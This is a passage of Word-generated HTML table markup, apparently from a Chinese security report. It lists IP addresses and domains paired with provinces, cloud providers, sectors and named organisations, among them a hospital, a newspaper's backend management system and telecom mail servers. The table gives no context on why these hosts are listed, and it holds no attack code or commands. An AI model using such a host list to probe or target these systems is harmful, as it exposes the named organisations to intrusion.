accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">北京市</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td width="208" nowrap="" style="width:155.95pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span lang="EN-US" style="font-size:11.0pt;color:black">mtghsjy.cn<o:p></o:p></span></p>
</td>
<td width="114" nowrap="" style="width:85.35pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">阿里云</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td width="85" style="width:63.5pt;border-top:none;border-left:none;border-bottom:
solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:
153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">公共事业</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td width="340" nowrap="" style="width:9.0cm;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span class="GramE"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">晋中市</span></span><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">煤炭规划设计研究院</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
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</tr>
<tr style="mso-yfti-irow:2;height:10.8pt">
<td width="115" nowrap="" style="width:86.55pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><strong><span lang="EN-US" style="font-size:11.0pt;color:black">117.78.18.35<o:p></o:p></span></strong></p>
</td>
<td width="111" style="width:83.3pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">北京市</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td width="208" nowrap="" style="width:155.95pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span lang="EN-US" style="font-size:11.0pt;color:black">pmonline.dongfeng-honda.com<o:p></o:p></span></p>
</td>
<td width="114" nowrap="" style="width:85.35pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">华为云</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
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<td width="85" style="width:63.5pt;border-top:none;border-left:none;border-bottom:
solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:
153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
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border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">东风本田客服平台</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
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<tr style="mso-yfti-irow:3;height:10.8pt">
<td width="115" nowrap="" style="width:86.55pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><strong><span lang="EN-US" style="font-size:11.0pt;color:black">42.123.76.231<o:p></o:p></span></strong></p>
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<td width="111" style="width:83.3pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
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mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
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mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
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153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
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<p class="MsoNormal" align="center" style="text-align:center"><span lang="EN-US" style="font-size:11.0pt;color:black">prt-mail.chinatelecom.cn<span style="mso-spacerun:yes"> </span>mta.chinatelecom.cn<span style="mso-spacerun:yes"> </span>smtpnm04.21cn.net<o:p></o:p></span></p>
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mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
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153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
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mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
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solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
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mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><strong><span lang="EN-US" style="font-size:11.0pt;color:black">52.131.241.237<o:p></o:p></span></strong></p>
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border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
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border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span lang="EN-US" style="font-size:11.0pt;color:black">ivmos.aitport.com<o:p></o:p></span></p>
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border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
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153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
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mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
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solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
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mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
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mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
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mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
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solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
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mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
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solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
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<p class="MsoNormal" align="center" style="text-align:center"><span lang="EN-US" style="font-size:11.0pt;color:black">bg.wbybb.com<o:p></o:p></span></p>
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mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
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solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
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mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
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solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
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mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
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solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">厦门晚报后台管理系统</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:6;height:10.8pt">
<td width="115" nowrap="" style="width:86.55pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><strong><span lang="EN-US" style="font-size:11.0pt">47.96.118.225<span style="color:black"><o:p></o:p></span></span></strong></p>
</td>
<td width="111" style="width:83.3pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">浙江省</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td width="208" nowrap="" style="width:155.95pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span lang="EN-US" style="font-size:11.0pt;color:black">2cwww.hz-hospital.com<o:p></o:p></span></p>
</td>
<td width="114" nowrap="" style="width:85.35pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">阿里云</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td width="85" style="width:63.5pt;border-top:none;border-left:none;border-bottom:
solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:
153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">医疗卫生</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td width="340" nowrap="" style="width:9.0cm;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">杭州市第一人民医院</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:7;mso-yfti-lastrow:yes;height:10.8pt">
<td width="115" nowrap="" style="width:86.55pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:4"><strong><span lang="EN-US" style="font-size:11.0pt;color:black">139.196.29.41<o:p></o:p></span></strong></p>
</td>
<td width="111" style="width:83.3pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">上海市</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td width="208" nowrap="" style="width:155.95pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span lang="EN-US" style="font-size:11.0pt;color:black">amis.tiandirenfarm.com<o:p></o:p></span></p>
</td>
<td width="114" nowrap="" style="width:85.35pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">阿里云</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td width="85" style="width:63.5pt;border-top:none;border-left:none;border-bottom:
solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:
153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">农业</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td width="340" nowrap="" style="width:9.0cm;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
